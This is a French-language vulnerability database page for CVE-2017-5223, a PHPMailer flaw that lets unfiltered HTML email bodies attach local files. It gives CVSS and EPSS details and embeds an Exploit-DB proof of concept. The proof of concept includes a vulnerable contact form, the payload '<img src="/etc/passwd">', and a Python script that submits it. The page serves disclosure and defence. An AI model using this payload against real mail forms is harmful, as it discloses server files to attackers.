CVE-2017-5223 : Détail

CVE-2017-5223

5.5
/
Moyen
A01-Broken Access Control
74.95%V3
Local
2017-01-16
05h00 +00:00
2017-10-27
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in PHPMailer before 5.2.22. PHPMailer's msgHTML method applies transformations to an HTML document to make it usable as an email message body. One of the transformations is to convert relative image URLs into attachments using a script-provided base directory. If no base directory is provided, it resolves to /, meaning that relative image URLs get treated as absolute local file paths and added as attachments. To form a remote vulnerability, the msgHTML method must be called, passed an unfiltered, user-supplied HTML document, and must not set a base directory.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 43056

Date de publication : 2017-10-24 22h00 +00:00
Auteur : Maciek Krupa
EDB Vérifié : No

# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 // PoC // It requires a contact form that sends HTML emails and allows to send a copy to your e-mail // vulnerable form example // <?php require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21 if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) { $mail = new PHPMailer(); $mail->SetFrom($_POST["your-email"], $_POST["your-name"]); $address = "admin@localhost"; $mail->AddAddress($address, "root"); if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]); $mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)"; $mail->MsgHTML($_POST["your-message"]); if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!"; } ?> <form action="/contact.php" method="post"> <p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p> <p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p> <p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p> <p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span> <p><input type="submit" value="submit" /></p> // exploit // Put <img src="/etc/passwd"> in the message (or other file to disclose). // python code // #!/usr/bin/python import urllib import urllib2 poc = """ # Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 """ url = 'http://localhost/contact.php' email = 'attacker@localhost' payload = '<img src="/etc/passwd"' values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload} data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) html = response.read() print html

Products Mentioned

Configuraton 0

Phpmailer_project>>Phpmailer >> Version To (including) 5.2.21

Références

http://www.securityfocus.com/bid/95328
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43056/
Tags : exploit, x_refsource_EXPLOIT-DB